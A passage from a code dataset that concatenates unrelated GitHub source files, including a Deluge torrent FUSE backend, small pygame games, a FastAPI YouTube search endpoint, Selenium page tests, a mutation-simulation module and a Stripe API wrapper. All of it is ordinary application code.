b\"core.set_torrent_file_priorities\", self.info_hash, value)\n yield self.client.request(\n b\"yatfsrpc.update_piece_priority_map\", self.info_hash)\n\n def apply_deltas(self, info, target_info):\n changes = []\n for key, value in list(target_info.items()):\n old = info.get(key)\n if old != value:\n for change in self.apply_delta(key, old, value):\n changes.append(change)\n return changes\n\n def get_target_info_locked(self):\n target_info = {}\n\n priority_maps = {}\n for read in self.iter_reads():\n p_to_prio = {}\n for p in read.reading_pieces():\n if self.info.have_piece(p):\n continue\n p_to_prio[p] = self.backend.reading_priority\n read_id = str(id(read))\n key = (self.key_prefix() + read_id).encode()\n if p_to_prio:\n priority_maps[key] = p_to_prio\n\n p_to_prio = {}\n for p in read.readahead_pieces():\n if self.info.have_piece(p):\n continue\n p_to_prio[p] = self.backend.readahead_priority\n key = (self.key_prefix() + \"readahead\").encode()\n if p_to_prio:\n priority_maps[key] = p_to_prio\n\n target_info[b\"yatfsrpc.piece_priority_map\"] = priority_maps\n\n target_info[b\"file_priorities\"] = self.info[b\"file_priorities\"]\n if should_force_full_download(self.info):\n target_info[b\"file_priorities\"] = tuple(\n 1 if p == 0 else p for p in self.info[b\"file_priorities\"])\n\n priority_maps = {}\n for k, p_to_prio in self.info[b\"yatfsrpc.piece_priority_map\"].items():\n if not k.startswith(self.key_prefix().encode()):\n continue\n filtered_p_to_prio = {}\n for p, prio in p_to_prio.items():\n if self.info.have_piece(p):\n continue\n filtered_p_to_prio[p] = prio\n if filtered_p_to_prio:\n priority_maps[k] = filtered_p_to_prio\n self.info[b\"yatfsrpc.piece_priority_map\"] = priority_maps\n\n self.info[b\"paused\"] = self.info[b\"state\"] == b\"Paused\"\n\n if self.is_alive():\n target_info[b\"paused\"] = False\n target_info[b\"yatfsrpc.sequential_download\"] = True\n\n self.info[b\"yatfsrpc.keep_redundant_connections\"] = bool(\n self.info[b\"yatfsrpc.keep_redundant_connections_map\"].get(\n (self.key_prefix() + \"keepalive\").encode()))\n target_info[b\"yatfsrpc.keep_redundant_connections\"] = self.is_alive()\n\n return target_info\n\n def cleanup(self):\n with self.lock:\n self.handles = set(h for h in self.handles if h.is_alive())\n\n def request_update(self):\n return self.client.request(\n \"core.get_torrent_status\", self.info_hash, self.FIELDS)\n\n def add(self, raw_torrent):\n tinfo = better_bencode.loads(raw_torrent)[b\"info\"]\n if b\"files\" in tinfo:\n num_files = len(tinfo[b\"files\"])\n else:\n num_files = 1\n options = {b\"file_priorities\": [0] * num_files}\n self.client.call(\n \"core.add_torrent_file\", None, base64.b64encode(raw_torrent), \n options)\n\n def reduce(self, status_dict):\n info = Info(status_dict)\n\n with self.lock:\n self.info = info\n self.cv.notifyAll()\n if b\"hash\" not in info:\n return []\n target_info = self.get_target_info_locked()\n\n deltas = self.apply_deltas(info, target_info)\n return deltas\n\n def self_reduce(self):\n with self.lock:\n if not self.info:\n return\n for piece, req in list(self.piece_to_read_req.items()):\n if req.done():\n e = req.exception()\n if e:\n log().error(\n \"during read_piece(%s, %s)\", self.info_hash,\n piece, exc_info=e)\n f = self.piece_to_f.get(piece)\n if f:\n if not f.done():\n f.set_exception(e)\n del self.piece_to_f[piece]\n del self.piece_to_read_req[piece]\n\n for p in itertools.chain(\n self.reading_pieces(), self.readahead_pieces()):\n if self.info.have_piece(p):\n self.read_piece_request(p)\n\n def update(self):\n request = self.request_update()\n result = request.result()\n self.reduce(result)\n\n def is_alive(self):\n with self.lock:\n return bool(self.handles)\n\n def on_add(self):\n self.update()\n\n def on_remove(self):\n self.update()\n\n def info_wait(self, callback, inode, timeout):\n start_time = time.time()\n while True:\n need_update = False\n need_add = False\n\n with self.cv:\n while True:\n if self.info is None:\n need_update = True\n break\n if b\"hash\" not in self.info:\n need_add = True\n break\n r = callback(self.info)\n if r:\n return r\n now = time.time()\n if now < start_time:\n raise llfuse.FUSEError(errno.ETIMEDOUT)\n wait = start_time + timeout - now\n if wait < 0:\n raise llfuse.FUSEError(errno.ETIMEDOUT)\n self.cv.wait(wait)\n\n if need_add:\n self.add(inode.raw_torrent())\n if need_update:\n self.update()\n\n def wait_for_pieces(self, inode, pieces_callback, timeout):\n def have_pieces(info):\n return all(info.have_piece(p) for p in pieces_callback())\n self.info_wait(have_pieces, inode, timeout)\n\n def read_piece_request(self, piece):\n with self.lock:\n f = self.piece_to_f.get(piece)\n if f:\n return f\n f = concurrent.futures.Future()\n f.set_running_or_notify_cancel()\n self.piece_to_f[piece] = f\n self.piece_to_read_req[piece] = self.client.request(\n \"yatfsrpc.read_piece\", self.info_hash, piece)\n return f\n\n def on_read_piece(self, piece, data, error):\n is_error = error[b\"value\"]\n with self.lock:\n f = self.piece_to_f.get(piece)\n if is_error:\n self.piece_to_f.pop(piece, None)\n if not f or f.done():\n return\n if is_error:\n log().error(\"Reading piece %s: %s\", piece, error)\n f.set_exception(OSError(errno.EIO, \"read piece error\"))\n else:\n f.set_result(data)\n\n\nclass Read(object):\n\n def __init__(self, handle, offset, size):\n self.inode = handle.inode\n self.torrent = handle.torrent\n self.backend = handle.backend\n self.offset = offset\n self.size = size\n self.time = time.time()\n\n def file_index(self):\n return self.inode.file_index()\n\n def split(self):\n return self.torrent.piece_split(\n self.file_index(), self.offset, self.size, 0)\n\n def reading_pieces(self):\n return self.torrent.piece_range(\n self.file_index(), self.offset, self.size, 0)\n\n def readahead_pieces(self):\n size_bytes = max(self.size, self.backend.readahead_bytes)\n size_pieces = self.backend.readahead_pieces\n return self.torrent.piece_range(\n self.file_index(), self.offset, size_bytes, size_pieces)\n\n def wait(self):\n self.torrent.wait_for_pieces(\n self.inode, self.reading_pieces, self.backend.read_timeout)\n\n def read(self):\n split = self.split()\n split = [\n (self.torrent.read_piece_request(p), lo, hi)\n for p, lo, hi in split]\n try:\n return b\"\".join(\n f.result(timeout=self.backend.read_timeout)[lo:hi]\n for f, lo, hi in split)\n except concurrent.futures.TimeoutError:\n raise OSError(errno.ETIMEDOUT, \"timeout reading piece\")\n\n\nclass Handle(fs.TorrentHandle):\n\n def __init__(self, backend, inode, torrent):\n super(Handle, self).__init__(backend, inode)\n self.torrent = torrent\n\n self.lock = torrent.lock\n self.reads = weakref.WeakSet()\n self.last_read = None\n self.live_until = None\n\n def iter_reads(self):\n with self.lock:\n for read in self.reads:\n yield read\n if self.last_read is not None and self.last_read not in self.reads:\n yield self.last_read\n\n def is_alive(self):\n with self.lock:\n return self.live_until is None or self.live_until > time.time()\n\n def read(self, offset, size):\n read = Read(self, offset, size)\n with self.lock:\n self.reads.add(read)\n self.last_read = read\n\n try:\n self.torrent.self_reduce()\n read.wait()\n return read.read()\n except OSError as e:\n log().exception(\n \"during read(%s, %s, %s, %s)\", self.inode.info_hash(),\n self.inode.file_index(), offset, size)\n raise llfuse.FUSEError(e.errno or errno.EIO)\n except:\n log().exception(\n \"during read(%s, %s, %s, %s)\", self.inode.info_hash(),\n self.inode.file_index(), offset, size)\n raise llfuse.FUSEError(errno.EIO)\n finally:\n with self.lock:\n self.reads.remove(read)\n\n def release(self):\n with self.lock:\n self.live_until = time.time() + self.backend.keepalive\n\n\ndef add_arguments(parser):\n group = parser.add_argument_group(\"Deluge backend options\")\n deluge_client_sync.add_arguments(group, create_group=False)\n\n group.add_argument(\n \"--deluge_yatfs_key\", type=str, default=Backend.DEFAULT_KEY)\n group.add_argument(\n \"--deluge_yatfs_reading_priority\", type=int,\n default=Backend.DEFAULT_READING_PRIORITY, choices=range(1, 8))\n group.add_argument(\n \"--deluge_yatfs_readahead_priority\", type=int,\n default=Backend.DEFAULT_READAHEAD_PRIORITY, choices=range(1, 8))\n\n\ndef configure(parser, args):\n client = deluge_client_sync.Client.from_args(parser, args)\n return Backend(\n client, key=args.deluge_yatfs_key,\n reading_priority=args.deluge_yatfs_reading_priority,\n readahead_priority=args.deluge_yatfs_readahead_priority,\n keepalive=args.keepalive, read_timeout=args.read_timeout,\n readahead_pieces=args.readahead_pieces,\n readahead_bytes=args.readahead_bytes)\n","repo_name":"AllSeeingEyeTolledEweSew/yatfs","sub_path":"yatfs/backend/deluge.py","file_name":"deluge.py","file_ext":"py","file_size_in_byte":22485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9184744342","text":"import sys\nsys.stdin = open('bj3568.txt','r')\n\nL=input().replace(',','').replace(';','').replace('[]','_').split()\nfor i in range(1,len(L)):\n P,p,n=L[0],'',' '\n for idx,j in enumerate(L[i]):\n if j in '_&*':p=j+p\n else:n+=j\n P+=p\n P=P.replace('_','[]')\n print(P+n+';')\n\nfor t in range(int(input())):\n A,*B=input().split()\n for b in B:\n i=0\n for c in b:i+=1 if not c in '[]*&,;' else 0\n print(A+b[len(b)-2:i-1:-1].replace('][','[]')+' '+b[:i]+';')\n","repo_name":"choo0618/TIL","sub_path":"algoritm/20상반기 코딩테스트/iSharp/bj3568.py","file_name":"bj3568.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8662593902","text":"import pygame\nimport random\nimport os\npygame.init()\n\nWIN_SIZE = WIN_WIDTH, WIN_HEIGHT = 800, 600\nscreen = pygame.display.set_mode(WIN_SIZE)\nfps = pygame.time.Clock()\nscore = 0\n\nflappy_w = 40\nflappy_h = 40\nflappy_x = (WIN_WIDTH / 2) - (flappy_w / 2)\nflappy_y = 0\nflappy_g = 5\nflappy_v = flappy_g * 10\nflappy_angle = 0\nflap = False\n\npipe_w = 60\npipe_h = WIN_HEIGHT\npipe_v = 3\npipe_y = 0\npipe_x = [WIN_WIDTH - pipe_w]\npipe_hole_h = pipe_h / 4\npipe_hole_t = [random.randint(0, WIN_HEIGHT - pipe_hole_h)]\npipe_hole_b = [int(pipe_hole_t[0] + pipe_hole_h)]\n\nrun = True\nwhile run:\n screen.fill((0,0,0))\n fps.tick(30)\n\n # pipe movement\n for i in range(len(pipe_x)):\n pipe_x[i] -= pipe_v\n \n # append pipe\n if pipe_x[len(pipe_x)-1] < WIN_WIDTH / 2:\n pipe_x.append(WIN_WIDTH)\n rand = random.randint(0, WIN_HEIGHT - pipe_hole_h)\n pipe_hole_t.append(rand)\n pipe_hole_b.append(int(rand + pipe_hole_h))\n\n keys = pygame.key.get_pressed()\n\n # app close and keyup event\n for event in pygame.event.get():\n if event.type == pygame.QUIT: \n run = False\n status = 'QUIT'\n elif event.type == pygame.KEYUP:\n flap = True\n else:\n flap = False \n \n # quit shortcut\n if keys[pygame.K_q] or keys[pygame.K_ESCAPE]:\n run = False\n\n # flap movement\n if flap and keys[pygame.K_SPACE]:\n flappy_y -= flappy_v\n flappy_angle = 90\n else:\n flappy_y += flappy_g\n flappy_angle = 0\n \n # hit the ground\n if flappy_y + flappy_h > WIN_HEIGHT:\n run = False\n\n # hit the pipe\n for i in range(len(pipe_x)):\n if (\n flappy_x + flappy_w > pipe_x[i] and \n flappy_x + flappy_w < pipe_x[i] + pipe_w\n ) and (\n flappy_y < pipe_hole_t[i] or \n flappy_y + flappy_h > pipe_hole_b[i]\n ):\n run = False\n \n # draw pipe\n for i in range(len(pipe_x)):\n pygame.draw.rect(screen, (0,255,0), pygame.Rect(pipe_x[i], pipe_y, pipe_w, pipe_h))\n\n pygame.draw.rect(screen, (0,0,0), pygame.Rect(pipe_x[i], pipe_hole_t[i], pipe_w, pipe_hole_h))\n \n # draw flappy\n flappy_rect = pygame.Rect(flappy_x, flappy_y, flappy_w, flappy_h)\n pygame.draw.rect(screen, (255,255,0), flappy_rect)\n\n os.system('clear')\n print(f' flappy_x : {flappy_x}')\n print(f' flappy_y : {flappy_y}')\n print(f' pipe_x : {pipe_x}')\n print(f' pipe_y : {pipe_y}')\n print(f'pipe_hole_t : {pipe_hole_t}')\n print(f'pipe_hole_b : {pipe_hole_b}\\n')\n\n\n pygame.display.update()","repo_name":"wewnumam/2d-game-projects","sub_path":"pygame/flappy/flappy.py","file_name":"flappy.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8114904444","text":"from fastapi import FastAPI\n\napp = FastAPI()\nfrom youtube_search import YoutubeSearch\nfrom fastapi.middleware.cors import CORSMiddleware\n\norigins = [\"https://open.spotify.com\"]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"GET\"],\n allow_headers=[\"*\"],\n)\n\n\n@app.get(\"/\")\nasync def search(q: str):\n results = YoutubeSearch(q, max_results=1).to_dict()\n if len(results) == 0:\n return \"\"\n return {\"video\": results[0][\"url_suffix\"][9:]}\n\n","repo_name":"KentoNishi/pogify","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"32682389468","text":"'''\nSimran Soin\nCS-UY 1134\nHomework 3 Q4\n'''\n\n#part a\n#worst case run time is O(n^2)\n\n#partb\ndef remove_all(lst, value):\n num_shifted = 0\n for e in range(len(lst)):\n if lst[e] == value:\n num_shifted += 1\n if not(lst[e] == value or lst[e-1] == None):\n lst[e], lst[e-num_shifted] = lst[e-num_shifted], lst[e]\n return lst[:(-1*num_shifted)]\n","repo_name":"simrankaursoin/NYU_CS1134","sub_path":"hw3/sks684_hw3_q4.py","file_name":"sks684_hw3_q4.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17960646074","text":"import pygame\nfrom pygame.locals import *\nfrom sys import exit\n\npygame.init()\n\nplayer_width = 20\nplayer_height = 50\n\nwidth = 640 \nheight = 480\n\nplayer_one_x = 30\nplayer_one_y = int(height/2)-int(player_height/2)\nplayer_one_points = 0\n\nplayer_two_x = int(width-30)\nplayer_two_y = int(height/2)-int(player_height/2)\nplayer_two_points = 0\n\nline_one = [int(width/2),0]\nline_two = [int(width/2), height]\n\ncicle_x = int(width/2)\ncicle_y = int(height/2)\n\nreset_cicle_x = int(width/2)\nreset_cicle_y = int(height/2)\n\nfont = pygame.font.SysFont(\"arial\", 40, True, True)\n\nscreen = pygame.display.set_mode((width, height))\n\nblack_color = (0,0,0)\nred_color = (255,0,0)\ngreen_color = (0,255,0)\nwhite_color = (255,255,255)\nblue_color = (0,0,255)\n\nclock = pygame.time.Clock()\n\nvertical_move_cicle = True\nhorizontal_move_cicle = True\n\ndef cicle_up():\n global cicle_y, vertical_move_cicle\n if cicle_y <= 10:\n vertical_move_cicle = False\n cicle_y -= 7\n\ndef cicle_down():\n global cicle_y, vertical_move_cicle\n if cicle_y >= (height-10):\n vertical_move_cicle = True\n cicle_y += 7\n\n\nwhile True:\n clock.tick(30)\n screen.fill(black_color)\n points_one = (f'{player_one_points}')\n fotmated_points_player_one = font.render(points_one, True, green_color)\n points_two = (f'{player_two_points}')\n fotmated_points_player_two = font.render(points_two, True, blue_color)\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n exit()\n\n player_one = pygame.draw.rect(screen, red_color,(player_one_x, player_one_y, player_width,player_height))\n player_two = pygame.draw.rect(screen, red_color,(player_two_x, player_two_y, player_width,player_height))\n\n line = pygame.draw.line(screen, white_color,line_one,line_two, 5)\n\n ball = pygame.draw.circle(screen, white_color, (cicle_x,cicle_y),10,0)\n\n if pygame.key.get_pressed()[K_w]:\n player_one_y -= 10\n if player_one_y <= 0:\n player_one_y = 0\n if pygame.key.get_pressed()[K_s]:\n player_one_y += 10\n if player_one_y >= height:\n player_one_y = height\n\n if pygame.key.get_pressed()[K_UP]:\n player_two_y -= 10\n if player_two_y <= 0:\n player_two_y = 0\n if pygame.key.get_pressed()[K_DOWN]:\n player_two_y += 10\n if player_two_y >= height:\n player_two_y = height\n\n if horizontal_move_cicle == True:\n cicle_x -= 5\n elif horizontal_move_cicle == False:\n cicle_x += 5\n\n if vertical_move_cicle == True:\n cicle_up()\n elif vertical_move_cicle == False:\n cicle_down()\n\n\n if player_one.colliderect(ball):\n horizontal_move_cicle = False\n\n if player_two.colliderect(ball):\n horizontal_move_cicle = True\n\n if cicle_x == 0:\n player_two_points += 1\n cicle_x = reset_cicle_x\n cicle_y = reset_cicle_y\n \n elif cicle_x == width:\n player_one_points += 1\n cicle_x = reset_cicle_x\n cicle_y = reset_cicle_y\n\n\n screen.blit(fotmated_points_player_one, (int(width/2)-70, 50))\n screen.blit(fotmated_points_player_two, (int(width/2)+40, 50))\n\n pygame.display.flip()\n ","repo_name":"caioRafael/Pong","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39496232103","text":"import allure\n\nimport pytest\nfrom .pages.about_page import AboutPage\n\nEMAIL = \"nultytestmail@gmail.com\"\nNAME = \"John Doe\"\nPHONE_NUMBER = \"+84 0000 00 001\"\nMESSAGE = \"Lorem Ipsum is simply dummy text of the printing and typesetting industry.\\\n Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, \\\n when an unknown printer took a galley of type and scrambled it to make a type specimen book.\"\n\n\n\n@allure.feature(\"page content\")\n@allure.story(\"process article\")\n@allure.severity(\"blocker\")\n@pytest.mark.smoke\ndef test_appearence_of_process_article(browser):\n link = \"https://www.nultylighting.co.uk/about/\"\n page = AboutPage(browser, link)\n page.open()\n page.should_be_process_article()\n\n\n@allure.feature(\"page content\")\n@allure.story(\"awards article\")\n@allure.severity(\"blocker\")\n@pytest.mark.smoke\ndef test_appearence_of_awards_article(browser):\n link = \"https://www.nultylighting.co.uk/about/\"\n page = AboutPage(browser, link)\n page.open()\n page.should_be_awards_article()\n\n\n@allure.feature(\"page content\")\n@allure.story(\"cpds article\")\n@allure.severity(\"blocker\")\n@pytest.mark.smoke\ndef test_appearence_of_cpds_article(browser):\n link = \"https://www.nultylighting.co.uk/about/\"\n page = AboutPage(browser, link)\n page.open()\n page.should_be_cpds_article()\n\n\n@allure.feature(\"page content\")\n@allure.story(\"company article\")\n@allure.severity(\"blocker\")\n@pytest.mark.smoke\ndef test_appearence_of_company_article(browser):\n link = \"https://www.nultylighting.co.uk/about/\"\n page = AboutPage(browser, link)\n page.open()\n page.should_be_company_article()\n\n\n@allure.feature(\"form sending\")\n@allure.story(\"cpd form\")\n@allure.severity(\"critical\")\n@pytest.mark.e2e\ndef test_appearence_of_success_message_of_sended_cpd_form(browser):\n name = NAME\n email = EMAIL\n phone_number = PHONE_NUMBER\n message = MESSAGE\n link = \"https://www.nultylighting.co.uk/about/\"\n page = AboutPage(browser, link)\n page.open()\n page.should_be_cpds_article()\n page.should_be_success_message_after_sending_of_cpd_form(name, email, phone_number, message)\n\n","repo_name":"CuriousAli/NultyTestProject","sub_path":"test_about_page.py","file_name":"test_about_page.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8004568713","text":"from intervaltree import IntervalTree, Interval\nimport numpy as np\n\n\ndef tree_seq_with_migrations(tree_seq):\n itv = IntervalTree(\n Interval(begin=m.left, end=m.right, data=m) for m in tree_seq.migrations()\n )\n for t in tree_seq.trees():\n t_start, t_end = t.interval\n s = set(\n [\n x\n for be in itv[t_start:t_end]\n for x in (be.begin, be.end)\n if t_start <= x < t_end\n ]\n ) | {t_start, t_end}\n bp = sorted(s)\n for start, end in zip(bp[:-1], bp[1:]):\n md = {}\n for m in itv[start:end]:\n md.setdefault(m.data.node, []).append(\n (m.data.time, m.data.dest, m.data.source)\n )\n yield (start, end, t, md)\n\n\ndef weighted_segments(tree, migrations, rates):\n ret = []\n for node in tree.nodes():\n if node == tree.root:\n continue\n times = [(0, tree.population(node))]\n t0 = tree.time(node)\n for m in sorted(migrations.get(node, [])):\n # print(m)\n assert times[-1][1] == m[2] # source pop = last pop\n times.append((m[0] - t0, m[1]))\n times.append((tree.branch_length(node), tree.population(tree.parent(node))))\n # print(node,times)\n for (t0, p0), (t1, _) in zip(times[:-1], times[1:]):\n ret.append((node, (t1 - t0) * rates[p0]))\n return np.array(ret)\n\n\ndef drop_mutations(tree_seq, rates):\n \"Drop mutations on :tree_seq: using population-specific :rates:\"\n\n for start, end, tree, migrations in tree_seq_with_migrations(tree_seq):\n ws = weighted_segments(tree, migrations, rates)\n k = np.random.poisson(ws[:, 1].sum() * (end - start))\n nodes = np.random.choice(\n ws[:, 0].astype(int), size=k, p=ws[:, 1] / ws[:, 1].sum(), replace=True\n )\n n = tree.get_num_samples()\n yield from sorted(\n [\n (np.random.uniform(*(tree.interval)), tree.get_num_samples(node))\n for node in nodes\n ]\n )\n","repo_name":"terhorst/hiv","sub_path":"psmr.py","file_name":"psmr.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73027283240","text":"from calendar import c\nfrom re import sub\nimport stripe\nfrom stripe.api_resources import customer\n\nfrom flask import jsonify\n\n# from payment_processing.stripe import util\n# from payment_processing.stripe import util\nfrom . import StripeCustomer, StripeSubscription, StripePaymentIntent, StripeBalanceTransaction\nfrom . import StripePayout, StripeInvoice, StripeCharge, StripeInvoiceItem, StripeRefund, StripeWebhook\n\nclass StripeApi:\n \"\"\"Strip API calls. This class is inherited by App class, so that these methods can be called with App's reference.\n \"\"\"\n\n\n # TODO: move this to util\n # OR, shall we make it a part of data class?\n def _customer_to_dict(self, customer_data):\n \n address = customer_data.get('address', {})\n customer_entity = StripeCustomer(\n id=customer_data['id'],\n name=customer_data['name'],\n description=customer_data['description'],\n email=customer_data['email'],\n phone=customer_data['phone'],\n address_line1=address.get('line1'),\n address_line2=address.get('line2'),\n city=address.get('city'),\n postal_code=address.get('postal_code'),\n state=address.get('state'),\n ## country: str = None\n country_code=address.get('country')\n )\n\n return customer_entity.__dict__\n\n\n def customer(self, context, params):\n \"\"\"Create a customer\n \"\"\"\n\n stripe.api_key = context['headers']['api_key']\n\n customer_data = stripe.Customer.retrieve(params['id'])\n return self._customer_to_dict(customer_data)\n\n\n def customer_by_id(self, context, params):\n return self.customer(context, params)\n\n\n def customers_by_email(self, context, params): # OR customers_by_email ??\n \"\"\"[summary]\n\n Args:\n context (dict): Context data, such as headers\n params (dict): Parameters passed\n\n Returns:\n list: List of customers, found by given email\n \"\"\"\n context.update({\n 'condition':{\n 'email': params['email']\n }\n })\n return self.customers(context, params)\n \n\n def customers_by_created_time(self, context, params):\n stripe.api_key = context['headers']['api_key']\n\n context.update({\n 'condition':{\n 'created': params['created_time']\n }\n })\n\n return self.customers(context, params)\n\n\n def customers(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n condition = context.get('condition', {})\n customer_list = stripe.Customer.list(**condition)['data']\n result_list = []\n for customer_data in customer_list:\n result_list.append(self._customer_to_dict(customer_data))\n\n return jsonify(result_list)\n\n\n def _subscription_to_dict(self, subs_data):\n\n price = subs_data['items']['data'][0]['price']\n subs_entity = StripeSubscription(\n id=subs_data['id'],\n customer_id=subs_data['customer'],\n cancel_at_period_end=subs_data['cancel_at_period_end'],\n collection_method=subs_data['collection_method'],\n # coupon=subs_data['coupon'], # coupon is not returned in Subscription data\n\n ## It is found that if a 'discount' is applied to subscription and discount has a coupon then \n ## subscription has 'coupon\n ##\n ## It means, assuming only existing coupons will be used,\n ## that to create a subscription with coupon, we need to create a coupon\n metadata=subs_data['metadata'], ## Metadata unification ??\n ##\n ## start_date and end_date SHOULD be there for a subscription\n ##\n price_id=price['id'],\n currency=price['currency'],\n product_id=price['product'],\n unit_price=price['unit_amount'],\n recurring_interval=price['recurring']['interval'],\n recurring_count=price['recurring']['interval_count']\n )\n\n return subs_entity.__dict__\n\n\n def subscription(self, context, params):\n \"\"\"Get a Subscription by ID\"\"\"\n\n stripe.api_key = context['headers']['api_key']\n subs_data = stripe.Subscription.retrieve(params['id'])\n\n return self._subscription_to_dict(subs_data)\n\n\n def subscription_by_id(self, context, params):\n return self.subscription(context, params)\n\n\n def subscriptions_by_created_time(self, context, params):\n\n return self.subscriptions(context.update({\n 'condition':{\n 'created': params['created_time']\n }\n }))\n\n\n def subscriptions(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n condition = context.get('condition', {})\n subs_list = stripe.Subscription.list(**condition)['data']\n result_list = []\n for subs_data in subs_list:\n result_list.append(self._subscription_to_dict(subs_data))\n\n return jsonify(result_list)\n\n\n def charge(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n charge_data = stripe.Charge.retrieve(params['id'])\n charge_entity = StripeCharge(\n id=charge_data['id'],\n amount=charge_data['amount'], ## * 100?\n balance_transaction_id=charge_data['balance_transaction'],\n # billing=charge_data['billing'],\n currency=charge_data['currency'],\n customer_id=charge_data['customer'],\n description=charge_data['description'],\n invoice_id=charge_data['invoice'],\n payment_intent_id=charge_data['payment_intent'],\n # payment_method_details: dict = field(default_factory=dict)\n # shipping: dict = field(default_factory=dict) # Shipping Address\n status=charge_data['status']\n )\n\n return charge_entity.__dict__\n\n def charge_by_id(self, context, params):\n return self.charge(context, params)\n\n def _balance_transaction_to_dict(self, bal_trans_data):\n \n bal_trans_entity = StripeBalanceTransaction(\n id=bal_trans_data['id'],\n amount=bal_trans_data['amount'], ## cents\n currency=bal_trans_data['currency'],\n description=bal_trans_data['description'],\n fee=bal_trans_data['fee'],\n ## fee_details: dict = field(default_factory=dict) # Fee details\n net_amount=bal_trans_data['net'],\n source_id=bal_trans_data['source'],\n status=bal_trans_data['status'],\n txn_type=bal_trans_data['type'],\n created=bal_trans_data['created'],\n available_on=bal_trans_data['available_on'] # datetime / timestamp\n )\n\n return bal_trans_entity.__dict__\n\n\n def balance_transaction(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n bal_trans_data = stripe.BalanceTransaction.retrieve(params['id'])\n\n return self._balance_transaction_to_dict(bal_trans_data)\n\n\n def balance_transaction_by_id(self, context, params):\n return self.balance_transaction(context, params)\n\n def balance_transactions(self, context, params):\n \"\"\"\n \"\"\"\n stripe.api_key = context['headers']['api_key']\n\n result_list = []\n bal_trans_list = stripe.BalanceTransaction.list()['data']\n for bal_trans_data in bal_trans_list:\n result_list.append(self._balance_transaction_to_dict(bal_trans_data))\n\n return jsonify(result_list)\n\n\n def invoice(self, context, params):\n \n stripe.api_key = context['headers']['api_key']\n\n invoice_data = stripe.Invoice.retrieve(params['id'])\n invoice_entity = StripeInvoice(\n id=invoice_data['id'],\n customer_id=invoice_data['customer'],\n description=invoice_data['description'],\n auto_advance=invoice_data['auto_advance'],\n payment_method=invoice_data['collection_method'],\n subscription_id=invoice_data['subscription'], ## is this object or id?\n total=invoice_data['total']\n )\n\n return invoice_entity.__dict__\n\n\n def invoice_by_id(self, context, params):\n return self.invoice(context, params)\n\n\n def invoice_item(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n inv_item_data = stripe.InvoiceItem.retrieve(params['id'])\n invoice_entity = StripeInvoiceItem(\n id=inv_item_data['id'],\n customer_id=inv_item_data['customer'],\n amount=inv_item_data['amount'],\n currency=inv_item_data['currency'],\n description=inv_item_data['description'],\n ## metadata: dict = field(default_factory=dict) HOW TO UNIFY DICTIONARIES??\n period_start=inv_item_data['period']['start'],\n period_end=inv_item_data['period']['end'],\n price_id=inv_item_data['price']['id'],\n proration=inv_item_data['proration'],\n quantity=inv_item_data['quantity'],\n ## price_type: str = None ## Type wasn't found, but price/type was for price type\n )\n\n return invoice_entity.__dict__\n\n\n def invoice_item_by_id(self, context, params):\n return self.invoice_item(context, params)\n\n def invoice_items(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n result_list = []\n inv_item_list = stripe.InvoiceItem.list()['data']\n for inv_item_data in inv_item_list:\n invoice_entity = StripeInvoiceItem(\n id=inv_item_data['id'],\n customer_id=inv_item_data['customer'],\n amount=inv_item_data['amount'],\n currency=inv_item_data['currency'],\n description=inv_item_data['description'],\n ## metadata: dict = field(default_factory=dict) HOW TO UNIFY DICTIONARIES??\n period_start=inv_item_data['period']['start'],\n period_end=inv_item_data['period']['end'],\n price_id=inv_item_data['price']['id'], ## id or price info?\n price=inv_item_data['price']['unit_amount'],\n proration=inv_item_data['proration'],\n quantity=inv_item_data['quantity'],\n price_type=inv_item_data['price']['type']\n )\n\n result_list.append(invoice_entity.__dict__)\n \n return jsonify(result_list)\n\n\n def invoice_items_by_created_time(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n inv_items = []\n inv_item_list = stripe.InvoiceItem.list(**context['condition'])\n for inv_item_data in inv_item_list:\n invoice_entity = StripeInvoiceItem(\n id=inv_item_data['id'],\n customer_id=inv_item_data['customer'],\n amount=inv_item_data['amount'],\n currency=inv_item_data['currency'],\n description=inv_item_data['description'],\n ## metadata: dict = field(default_factory=dict) HOW TO UNIFY DICTIONARIES??\n period_start=inv_item_data['period']['start'],\n period_end=inv_item_data['period']['end'],\n price_id=inv_item_data['price'],\n proration=inv_item_data['proration'],\n quantity=inv_item_data['quantity'],\n ## price_type: str = None ## Type wasn't found, but price/type was for price type\n )\n\n inv_items.append(invoice_entity.__dict__)\n \n return jsonify(inv_items)\n\n\n # def current_balance(self, context, params):\n # pass\n\n # def balance_history(self, context, params):\n # pass\n\n\n def payouts(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n result_list = []\n payout_list = stripe.Payout.list()['data']\n for payout_data in payout_list:\n payout_entity = StripePayout(\n id = payout_data['id'],\n amount = payout_data['amount'],\n currency = payout_data['currency'],\n arrival_date = payout_data['arrival_date'],\n description = payout_data['description'],\n payment_method = payout_data['payment_method']\n )\n\n 